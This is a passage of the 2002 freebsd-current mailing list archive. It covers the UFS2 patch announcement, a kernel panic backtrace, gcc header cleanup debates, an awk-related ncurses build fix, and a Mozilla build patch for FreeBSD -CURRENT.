>> On Wednesday, 19 June 2002 at 10:07:29 +0200, Poul-Henning Kamp wrote:
>>>
>>> Kirk is loading and aiming is committatron with the UFS2 patch,
>>> expect to see it hit -current any day soon.
>>
>> Any details of what it will contain?
>
> It's only been said 5+ times on the list so far

Well, no, what was said on the list is an overall direction.  So far I
haven't seen any information on what *this* commit will contain.

> and it has been put up for review a couple of times over the last
> months but hey:
>
> The first UFS2 commit will add the UFS2 64bit format to the existing
> ufs/ffs code.

Thanks.

Greg
--
See complete headers for address and phone numbers

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20  0:58:35 2002
Delivered-To: freebsd-current@freebsd.org
Received: from wantadilla.lemis.com (wantadilla.lemis.com [192.109.197.80])
	by hub.freebsd.org (Postfix) with ESMTP
	id A1EDF37B40E; Thu, 20 Jun 2002 00:58:30 -0700 (PDT)
Received: by wantadilla.lemis.com (Postfix, from userid 1004)
	id DB135814A6; Thu, 20 Jun 2002 17:28:28 +0930 (CST)
Date: Thu, 20 Jun 2002 17:28:28 +0930
From: Greg 'groggy' Lehey <grog@FreeBSD.org>
To: Juli Mallett <jmallett@FreeBSD.org>
Cc: Poul-Henning Kamp <phk@freebsd.org>, current@freebsd.org
Subject: Re: HEADSUP:  UFS2 patch coming...
Message-ID: <20020620075828.GV23122@wantadilla.lemis.com>
References: <34805.1024474049@critter.freebsd.dk> <20020620015236.GF23122@wantadilla.lemis.com> <20020619190331.A68914@FreeBSD.ORG>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <20020619190331.A68914@FreeBSD.ORG>
User-Agent: Mutt/1.3.99i
Organization: The FreeBSD Project
Phone: +61-8-8388-8286
Fax: +61-8-8388-8725
Mobile: +61-418-838-708
WWW-Home-Page: http://www.FreeBSD.org/
X-PGP-Fingerprint: 9A1B 8202 BCCE B846 F92F  09AC 22E6 F290 507A 4223
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Wednesday, 19 June 2002 at 19:03:31 -0700, Juli Mallett wrote:
> * Greg 'groggy' Lehey <grog@FreeBSD.org> escriurères
>> On Wednesday, 19 June 2002 at 10:07:29 +0200, Poul-Henning Kamp wrote:
>>>
>>> Kirk is loading and aiming is committatron with the UFS2 patch,
>>> expect to see it hit -current any day soon.
>>
>> Any details of what it will contain?
>>
>> Greg
>
> http://phk.freebsd.dk/patch/ufs2.patch
>
> I believe.
>
> It speaks for itself.

Well, no, code is not documentation.  This patch is 16279 lines long
and can only be understood by people who:

1.  Read it completely.
2.  Compare it with the originals.
3.  Understand ufs in the first place.

phk replied with a summary which was somewhat short, but that's the
sort of overview which is needed.  At some point somebody (Bruce) will
have to convert this information into a release note.  A 16000 line
long patch would go up like a lead balloon.

Greg
--
See complete headers for address and phone numbers

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20  1:21:28 2002
Delivered-To: freebsd-current@freebsd.org
Received: from draco.macsch.com (ns1.mscsoftware.com [192.207.69.10])
	by hub.freebsd.org (Postfix) with ESMTP id 2ED5A37B40B
	for <freebsd-current@freebsd.org>; Thu, 20 Jun 2002 01:21:02 -0700 (PDT)
Received: from mailmuc.muc.eu.mscsoftware.com (mailmuc.muc.macsch.com [161.34.37.20])
	by draco.macsch.com (8.9.3/8.9.3) with ESMTP id BAA04721
	for <freebsd-current@freebsd.org>; Thu, 20 Jun 2002 01:20:57 -0700 (PDT)
Received: from localhost (localhost [127.0.0.1])
	by mailmuc.muc.eu.mscsoftware.com (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with ESMTP id g5K8JAp05993
	for <freebsd-current@freebsd.org>; Thu, 20 Jun 2002 10:19:10 +0200
Content-Transfer-Encoding: 7bit
Content-Type: text/plain
Date: 20 Jun 2002 10:19:35 +0200
From: "Georg-W. Koltermann" <Georg.Koltermann@mscsoftware.com>
Message-Id: <1024561175.1691.21.camel@hunter.muc.macsch.com>
Mime-Version: 1.0
Received: from hunter.muc.macsch.com
	by mailmuc.muc.eu.mscsoftware.com (AvMailGate-6.12.0.0) id 05974-68FF3C55;
	Thu, 20 Jun 2002 10:19:04 +0200
Subject: panic -- trap in kern_mutex
To: freebsd-current@freebsd.org
X-AntiVirus: OK! AvMailGate Version 6.12.1.30
	 at mailmuc has not found any known virus in this email.
X-Mailer: Ximian Evolution 1.0.5 
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

The panic string says buffer not busy as usual, but the real location
seems to be a trap in kern_mutex.c.

Last CVSup was 17 May 22:27 GMT-2, so this is a GCC 3.1 based system.
Line numbers don't seem to be correct.

--
Regards,
Georg.


hunter[17]$ gdb -k kernel.debug vmcore.22
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...
IdlePTD at phsyical address 0x00514000
initial pcb at physical address 0x00420b20
panicstr: bwrite: buffer is not busy???
panic messages:
---
Fatal trap 12: page fault while in kernel mode
fault virtual address	= 0xd25
fault code		= supervisor read, page not present
instruction pointer	= 0x8:0xc01ee8f5
stack pointer	        = 0x10:0xe3f89978
frame pointer	        = 0x10:0xe3f89988
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, def32 1, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= 3129 (evolution-mail)
trap number		= 12
panic: page fault

syncing disks... panic: bwrite: buffer is not busy???
Uptime: 5h51m35s
pfs_vncache_unload(): 2 entries remaining
/dev/vmmon: Module vmmon: unloaded
Dumping 1023 MB
ata0: resetting devices .. done
 16 32 48 64 80 96 112 128 144 160 176 192 208 224 240 256 272 288 304 320 336 352 368 384 400 416 432 448 464 480 496 512 528 544 560 576 592 608 624 640 656 672 688 704 720 736 752 768 784 800 816 832 848 864 880 896 912 928 944 960 976 992 1008
---
#0  0xc01fa1a4 in doadump () at /usr/src/sys/kern/kern_shutdown.c:353
353	}
(kgdb) where
#0  0xc01fa1a4 in doadump () at /usr/src/sys/kern/kern_shutdown.c:353
#1  0xc01fa7d1 in boot (howto=260) at /usr/src/sys/kern/kern_shutdown.c:353
#2  0xc01fa9dd in panic (fmt=0xc03aab0b "bwrite: buffer is not busy???")
    at /usr/src/sys/kern/kern_shutdown.c:353
#3  0xc0240eac in bwrite (bp=0xd284d130) at /usr/src/sys/kern/vfs_bio.c:1367
#4  0xc0242635 in vfs_bio_awrite (bp=0xd284d130)
    at /usr/src/sys/kern/vfs_bio.c:1367
#5  0xc01c8a67 in spec_fsync (ap=0xe3f89750)
    at /usr/src/sys/fs/specfs/spec_vnops.c:849
#6  0xc01c844e in spec_vnoperate (ap=0xe3f89750)
    at /usr/src/sys/fs/specfs/spec_vnops.c:849
#7  0xc030b72a in VOP_FSYNC (vp=0xe0e03000, cred=0xd277ff00, waitfor=2, 
    td=0xc03ea5a0) at /usr/src/sys/ufs/ffs/ffs_vfsops.c:810
#8  0xc030abc1 in ffs_sync (mp=0xe0c25200, waitfor=2, cred=0xd277ff00, 
    td=0xc03ea5a0) at /usr/src/sys/ufs/ffs/ffs_vfsops.c:810
#9  0xc025424b in sync (td=0xc03ea5a0, uap=0x0)
    at /usr/src/sys/kern/vfs_syscalls.c:640
#10 0xc01fa2ab in boot (howto=256) at /usr/src/sys/kern/kern_shutdown.c:353
#11 0xc01fa9dd in panic (fmt=0xc03c70de "%s")
    at /usr/src/sys/kern/kern_shutdown.c:353
#12 0xc036d714 in trap_fatal (frame=0xe3f89938, eva=3365)
    at /usr/src/sys/i386/i386/trap.c:652
#13 0xc036d34b in trap_pfault (frame=0xe3f89938, usermode=0, eva=3365)
    at /usr/src/sys/i386/i386/trap.c:652
#14 0xc036cd34 in trap (frame={tf_fs = 24, tf_es = -470286320, 
      tf_ds = -470286320, tf_edi = 139215696, tf_esi = 137186688, 
      tf_ebp = -470247032, tf_isp = -470247068, tf_ebx = -470246240, 
      tf_edx = -475126764, tf_ecx = -475126764, tf_eax = 3244, tf_trapno = 12, 
      tf_err = 0, tf_eip = -1071716107, tf_cs = 8, tf_eflags = 66054, 
      tf_esp = 3244, tf_ss = -475126764}) at /usr/src/sys/i386/i386/trap.c:652
#15 0xc01ee8f5 in propagate_priority (td=0xcac)
    at /usr/src/sys/kern/kern_mutex.c:574
#16 0xc01eeef1 in _mtx_lock_sleep (m=0xe3ae0df0, opts=0, file=0x0, line=0)
    at /usr/src/sys/kern/kern_mutex.c:574
#17 0xc0310395 in ufs_ihashget (dev=0xe322b700, inum=613654, flags=2, 
    vpp=0xe3f89ae0) at /usr/src/sys/ufs/ufs/ufs_ihash.c:127
#18 0xc030acc5 in ffs_vget (mp=0xe31ed800, ino=613654, flags=2, vpp=0xe3f89ae0)
    at /usr/src/sys/ufs/ffs/ffs_vfsops.c:810
#19 0xc03113bf in ufs_lookup (ap=0xe3f89b38)
    at /usr/src/sys/ufs/ufs/ufs_lookup.c:616
#20 0xc03183d8 in ufs_vnoperate (ap=0xe3f89b38)
    at /usr/src/sys/ufs/ufs/ufs_vnops.c:1335
#21 0xc0246cbc in VOP_CACHEDLOOKUP (dvp=0xe3bcde10, vpp=0xe3f89c8c, 
    cnp=0xe3f89ca0) at /usr/src/sys/kern/vfs_cache.c:898
#22 0xc0246119 in vfs_cache_lookup (ap=0xe3f89ba4)
    at /usr/src/sys/kern/vfs_cache.c:898
#23 0xc03183d8 in ufs_vnoperate (ap=0xe3f89ba4)
    at /usr/src/sys/ufs/ufs/ufs_vnops.c:1335
#24 0xc024bc76 in VOP_LOOKUP (dvp=0xe3bcde10, vpp=0xe3f89c8c, cnp=0xe3f89ca0)
    at /usr/src/sys/kern/vfs_lookup.c:609
#25 0xc024b552 in lookup (ndp=0xe3f89c78) at /usr/src/sys/kern/vfs_lookup.c:609
#26 0xc024aec1 in namei (ndp=0xe3f89c78) at /usr/src/sys/kern/vfs_lookup.c:609
#27 0xc0256480 in unlink (td=0xe3ae2414, uap=0xe3f89cf8)
    at /usr/src/sys/kern/vfs_syscalls.c:640
#28 0xc036da82 in syscall (frame={tf_fs = -1078001617, tf_es = -1078001617, 
      tf_ds = -1078001617, tf_edi = 139215696, tf_esi = 137186688, 
      tf_ebp = -1078989448, tf_isp = -470246028, tf_ebx = 691347980, 
      tf_edx = 137186775, tf_ecx = 691340424, tf_eax = 10, tf_trapno = 0, 
      tf_err = 2, tf_eip = 689195527, tf_cs = 31, tf_eflags = 643, 
      tf_esp = -1078989524, tf_ss = 47}) at /usr/src/sys/i386/i386/trap.c:652
#29 0xc035c67d in syscall_with_err_pushed () at /var/tmp//ccqhs5l0.s:128
#30 0x293485b3 in ?? ()
#31 0x29344111 in ?? ()
#32 0x29345c36 in ?? ()
#33 0x28124784 in ?? ()
#34 0x2812489d in ?? ()
#35 0x2812f2d1 in ?? ()
#36 0x8095d1c in ?? ()
#37 0x80928c9 in ?? ()
#38 0x28166d5a in ?? ()
#39 0x28166ee5 in ?? ()
#40 0x28d19023 in ?? ()
#41 0x0 in ?? ()
(kgdb) up 15
#15 0xc01ee8f5 in propagate_priority (td=0xcac)
    at /usr/src/sys/kern/kern_mutex.c:574
574	}
(kgdb) l
569	
570			mtx_unlock_spin(&sched_lock);
571		}
572	
573		return;
574	}
575	
576	/*
577	 * _mtx_lock_spin: the tougher part of acquiring an MTX_SPIN lock.
578	 *
(kgdb) 



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20  2: 1: 8 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail-relay1.yahoo.com (mail-relay1.yahoo.com [216.145.48.34])
	by hub.freebsd.org (Postfix) with ESMTP id 8D43A37B403
	for <current@FreeBSD.org>; Thu, 20 Jun 2002 02:01:04 -0700 (PDT)
Received: from FreeBSD.org (12-234-90-219.client.attbi.com [12.234.90.219])
	by mail-relay1.yahoo.com (Postfix) with ESMTP
	id 269078B609; Thu, 20 Jun 2002 02:00:52 -0700 (PDT)
Message-ID: <3D1199C3.B585E8EF@FreeBSD.org>
Date: Thu, 20 Jun 2002 02:00:51 -0700
From: Doug Barton <DougB@FreeBSD.org>
Organization: Triborough Bridge & Tunnel Authority
X-Mailer: Mozilla 4.79 [en] (X11; U; FreeBSD 4.6-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Alfred Perlstein <bright@mu.org>
Cc: Mikhail Teterin <mi+mx@aldan.algebra.com>,
	"M. Warner Losh" <imp@village.org>, mi+celsius@aldan.algebra.com,
	jstocker@tzi.de, current@FreeBSD.org
Subject: Re: C++ troubles continue
References: <200206191257.03898.mi+mx@aldan.algebra.com> <20020619101948.Q5534-100000@master.gorean.org> <20020619172520.GI85935@elvis.mu.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Alfred Perlstein wrote:

> I dunno, mergemaster seems to do a really good job of doing the
> "file exists here, but not here" thing, I think if someone inverted
> the logic it could fill this role nicely.

	The problem is that going one direction is easy because we have an
authoritative source for where to start (/usr/src/etc/Makefile). Going
the other direction is fraught with major danger, since we have no way
to know what wacky stuff the user might have done. Note, this is why
I've never even tried adding a "clean my /etc/ directory" feature to mm. 

> It's all your fault anyhow, except for your evil two space indents
> your code is too good/useful to be left alone. :)

	The evil two space indents are there on purpose as skuldeflectors...

-- 
   "We have known freedom's price. We have shown freedom's power.
      And in this great conflict, ...  we will see freedom's victory."
	- George W. Bush, President of the United States
          State of the Union, January 28, 2002

         Do YOU Yahoo!?

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20  2: 6: 8 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mailout08.sul.t-online.com (mailout08.sul.t-online.com [194.25.134.20])
	by hub.freebsd.org (Postfix) with ESMTP
	id 536D137B407; Thu, 20 Jun 2002 02:06:02 -0700 (PDT)
Received: from fwd08.sul.t-online.de 
	by mailout08.sul.t-online.com with smtp 
	id 17KxtA-0005Da-02; Thu, 20 Jun 2002 11:06:00 +0200
Received: from twoflower.liebende.de (320072111332-0001@[217.80.127.41]) by fmrl08.sul.t-online.com
	with esmtp id 17Kxst-1CbkieC; Thu, 20 Jun 2002 11:05:43 +0200
Subject: Re: C++ troubles continue
From: Jan Stocker <jstocker@tzi.de>
Reply-To: jstocker@tzi.de
To: Doug Barton <DougB@FreeBSD.org>
Cc: Alfred Perlstein <bright@mu.org>,
	Mikhail Teterin <mi+mx@aldan.algebra.com>,
	"M. Warner Losh" <imp@village.org>, mi+celsius@aldan.algebra.com,
	current@FreeBSD.org
In-Reply-To: <3D1199C3.B585E8EF@FreeBSD.org>
References: <200206191257.03898.mi+mx@aldan.algebra.com>
	<20020619101948.Q5534-100000@master.gorean.org>
	<20020619172520.GI85935@elvis.mu.org>  <3D1199C3.B585E8EF@FreeBSD.org>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Ximian Evolution 1.0.7 
Date: 20 Jun 2002 11:04:13 +0200
Message-Id: <1024563853.1148.10.camel@twoflower>
Mime-Version: 1.0
X-Sender: 320072111332-0001@t-dialin.net
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Hmmm...

whats about something like this:

Found old gcc files in your include do you want me to delete them [y/n]

and then get rid of em?

Jan

On Thu, 2002-06-20 at 11:00, Doug Barton wrote:
> Alfred Perlstein wrote:
> 
> > I dunno, mergemaster seems to do a really good job of doing the
> > "file exists here, but not here" thing, I think if someone inverted
> > the logic it could fill this role nicely.
> 
> 	The problem is that going one direction is easy because we have an
> authoritative source for where to start (/usr/src/etc/Makefile). Going
> the other direction is fraught with major danger, since we have no way
> to know what wacky stuff the user might have done. Note, this is why
> I've never even tried adding a "clean my /etc/ directory" feature to mm. 
> 
> > It's all your fault anyhow, except for your evil two space indents
> > your code is too good/useful to be left alone. :)
> 
> 	The evil two space indents are there on purpose as skuldeflectors...
> 
> -- 
>    "We have known freedom's price. We have shown freedom's power.
>       And in this great conflict, ...  we will see freedom's victory."
> 	- George W. Bush, President of the United States
>           State of the Union, January 28, 2002
> 
>          Do YOU Yahoo!?



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20  2:13:39 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail-relay1.yahoo.com (mail-relay1.yahoo.com [216.145.48.34])
	by hub.freebsd.org (Postfix) with ESMTP id BF6DA37B405
	for <current@FreeBSD.org>; Thu, 20 Jun 2002 02:13:35 -0700 (PDT)
Received: from FreeBSD.org (12-234-90-219.client.attbi.com [12.234.90.219])
	by mail-relay1.yahoo.com (Postfix) with ESMTP
	id 190308B5E6; Thu, 20 Jun 2002 02:13:35 -0700 (PDT)
Message-ID: <3D119CBE.2189728E@FreeBSD.org>
Date: Thu, 20 Jun 2002 02:13:34 -0700
From: Doug Barton <DougB@FreeBSD.org>
Organization: Triborough Bridge & Tunnel Authority
X-Mailer: Mozilla 4.79 [en] (X11; U; FreeBSD 4.6-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: jstocker@tzi.de
Cc: Alfred Perlstein <bright@mu.org>,
	Mikhail Teterin <mi+mx@aldan.algebra.com>,
	"M. Warner Losh" <imp@village.org>, mi+celsius@aldan.algebra.com,
	current@FreeBSD.org
Subject: Re: C++ troubles continue
References: <200206191257.03898.mi+mx@aldan.algebra.com>
		<20020619101948.Q5534-100000@master.gorean.org>
		<20020619172520.GI85935@elvis.mu.org>  <3D1199C3.B585E8EF@FreeBSD.org> <1024563853.1148.10.camel@twoflower>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Jan Stocker wrote:
> 
> Hmmm...
> 
> whats about something like this:
> 
> Found old gcc files in your include do you want me to delete them [y/n]
> 
> and then get rid of em?

Yes, when you write the "Update /usr/include" tool, you should feel free
to use that line. All jokes aside, this won't be going into mergemaster,
it's totally outside the scope of what mergemaster is designed to do.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20  2:21:26 2002
Delivered-To: freebsd-current@freebsd.org
Received: from harrier.mail.pas.earthlink.net (harrier.mail.pas.earthlink.net [207.217.120.12])
	by hub.freebsd.org (Postfix) with ESMTP
	id AE6A137B401; Thu, 20 Jun 2002 02:21:18 -0700 (PDT)
Received: from pool0062.cvx22-bradley.dialup.earthlink.net ([209.179.198.62] helo=mindspring.com)
	by harrier.mail.pas.earthlink.net with esmtp (Exim 3.33 #2)
	id 17Ky7n-0003mt-00; Thu, 20 Jun 2002 02:21:07 -0700
Message-ID: <3D119E50.2E54E198@mindspring.com>
Date: Thu, 20 Jun 2002 02:20:16 -0700
From: Terry Lambert <tlambert2@mindspring.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Doug Barton <DougB@FreeBSD.org>
Cc: jstocker@tzi.de, Alfred Perlstein <bright@mu.org>,
	Mikhail Teterin <mi+mx@aldan.algebra.com>,
	"M. Warner Losh" <imp@village.org>, mi+celsius@aldan.algebra.com,
	current@FreeBSD.org
Subject: Re: C++ troubles continue
References: <200206191257.03898.mi+mx@aldan.algebra.com>
			<20020619101948.Q5534-100000@master.gorean.org>
			<20020619172520.GI85935@elvis.mu.org>  <3D1199C3.B585E8EF@FreeBSD.org> <1024563853.1148.10.camel@twoflower> <3D119CBE.2189728E@FreeBSD.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Doug Barton wrote:
> Jan Stocker wrote:
> > Hmmm...
> >
> > whats about something like this:
> >
> > Found old gcc files in your include do you want me to delete them [y/n]
> >
> > and then get rid of em?
> 
> Yes, when you write the "Update /usr/include" tool, you should feel free
> to use that line. All jokes aside, this won't be going into mergemaster,
> it's totally outside the scope of what mergemaster is designed to do.

Plus it makes it impossible to undo an ugrade, in case it
isn't really an upgrade.

It would be better to have the new compiler ignore the old
compiler's header files, unless they collide, in which case
there's nothing for it but to stomp them.

-- Terry

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20  2:26:52 2002
Delivered-To: freebsd-current@freebsd.org
Received: from speechpro.com (crt-gw.infopro.spb.su [195.201.254.5])
	by hub.freebsd.org (Postfix) with ESMTP id 60CDD37B405
	for <freebsd-current@freebsd.org>; Thu, 20 Jun 2002 02:26:46 -0700 (PDT)
Received: from drweb by sysadm.stc with drweb-scanned (Exim 3.36 #1)
	id 17KyDJ-0002h5-00
	for freebsd-current@FreeBSD.ORG; Thu, 20 Jun 2002 13:26:49 +0400
Received: from igorr by sysadm.stc with local (Exim 3.36 #1)
	id 17KyDJ-0002gw-00
	for freebsd-current@FreeBSD.ORG; Thu, 20 Jun 2002 13:26:49 +0400
Date: Thu, 20 Jun 2002 13:26:49 +0400
From: Igor Roboul <igorr@sysadm.stc>
To: freebsd-current@FreeBSD.ORG
Subject: Re: error in ncurses in 'make buildworld'
Message-ID: <20020620092649.GA10310@sysadm.stc>
Reply-To: ir@hotbox.ru
Mail-Followup-To: Igor Roboul <igorr@sysadm.stc>,
	freebsd-current@FreeBSD.ORG
References: <20020619163321.A48809@dragon.nuxi.com> <20020620074657.11859.qmail@web14108.mail.yahoo.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020620074657.11859.qmail@web14108.mail.yahoo.com>
User-Agent: Mutt/1.3.99i
X-Envelope-To: freebsd-current@FreeBSD.ORG
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Thu, Jun 20, 2002 at 09:46:57AM +0200, Claus Guttesen wrote:
> You're right. I was becoming a vegetable trying to
> figure out how to fix it. So in my insanity I did a
> 'make' in the ncurses-directory (and posted too fast)
> just to get the error, rather than performing the
> buildworld. Pardon for my ignorance.
> 
> The real error is:
> 
> lib_gen.c: In function `addchnstr':
> lib_gen.c:27: `a0' undeclared (first use in this
> function)
> lib_gen.c:27: (Each undeclared identifier is reported
> only once
> lib_gen.c:27: for each function it appears in.)
> lib_gen.c:27: syntax error before numeric constant
> 
> And continues to 'lib_gen.c:824: `a0' undeclared'.
rm -f /usr/bin/awk
ln /usr/bin/gawk /usr/bin/awk

Then rebuild.

I have posted info about awk (which is nawk) incorrectly printing 
numbers between 10 and 15. It adds ascii '0' to value. 

-- 
Igor Roboul, System administrator at Speech Technology Center
http://www.speechpro.com http://www.speechpro.ru


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20  3:41:57 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mailout08.sul.t-online.com (mailout08.sul.t-online.com [194.25.134.20])
	by hub.freebsd.org (Postfix) with ESMTP id 177B237B403
	for <freebsd-current@freebsd.org>; Thu, 20 Jun 2002 03:41:53 -0700 (PDT)
Received: from fwd02.sul.t-online.de 
	by mailout08.sul.t-online.com with smtp 
	id 17KzNc-0006AG-05; Thu, 20 Jun 2002 12:41:32 +0200
Received: from twoflower.liebende.de (320072111332-0001@[217.80.127.41]) by fmrl02.sul.t-online.com
	with esmtp id 17KzNS-289vLEC; Thu, 20 Jun 2002 12:41:22 +0200
Subject: Re: The -current state of mozilla affairs
From: Jan Stocker <jstocker@tzi.de>
Reply-To: jstocker@tzi.de
To: Sean Chittenden <sean@chittenden.org>
Cc: Joe Marcus Clarke <marcus@marcuscom.com>,
	Kris Kennaway <kris@obsecurity.org>, walt <wsheets@sbcglobal.net>,
	freebsd-current <freebsd-current@FreeBSD.ORG>
In-Reply-To: <20020619232135.D37593@ninja1.internal>
References: <3CFC588A.9070903@sbcglobal.net>
	<20020604134655.B62465@xor.obsecurity.org>
	<20020619183056.K31745@ninja1.internal>
	<1024539159.44782.21.camel@shumai.marcuscom.com> 
	<20020619232135.D37593@ninja1.internal>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Ximian Evolution 1.0.7 
Date: 20 Jun 2002 12:39:51 +0200
Message-Id: <1024569592.1148.12.camel@twoflower>
Mime-Version: 1.0
X-Sender: 320072111332-0001@t-dialin.net
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

The attached patch works quite fine here on my system !



On Thu, 2002-06-20 at 08:21, Sean Chittenden wrote:
> > > I supped a -CURRENT system 3 days ago and am still having the problem
> > > described here, but the gcc that's in the base system is 3.1 at this
> > > point.  I'm installing gcc32 now and will try building this again
> > > using a newer version of GCC but am not sure if this'll fix anything.
> > > Anyone have any ideas/clues?  -sc
> > 
> > I do, but admittedly, it's not my idea.  Peter Kostouros has said
> > that defining THUNK_BASED_THIS_ADJUST in
> > xpcom/reflect/xptcall/src/md/unix/xptc_platforms_unixish_x86.h fixes
> > the build problem on -CURRENT.  I have not tested this yet, but I
> > did test a build with gcc31 from ports (per mbr@'s suggestion), and
> > that works just fine.
> >
> > I want to test Peter's suggestion before I add more bloat to Mozilla.  I
> > just have a really slow -CURRENT machine.  If you'd like to test the
> > option, undefine CFRONT_STYLE_THIS_ADJUST, and define
> > THUNK_BASED_THIS_ADJUST in the above header file, and see if it works.
> 
> Sweeet!  We've got a winner.  The attach patched should work but is
> untested (I just brute-forced the defs earlier and am not about to
> wait another 4+hrs to test this little patch).  :~) Anyway, any chance
> this could be committed as a patch for mozilla?  -sc
> 
> -- 
> Sean Chittenden
> ----
> 

> --- xpcom/reflect/xptcall/src/md/unix/xptc_platforms_unixish_x86.h.orig	Tue Apr  9 20:37:34 2002
> +++ xpcom/reflect/xptcall/src/md/unix/xptc_platforms_unixish_x86.h	Wed Jun 19 23:23:38 2002
> @@ -94,7 +94,7 @@
>   * gcc is that the system gcc defines __FreeBSD_cc_version.  This variable
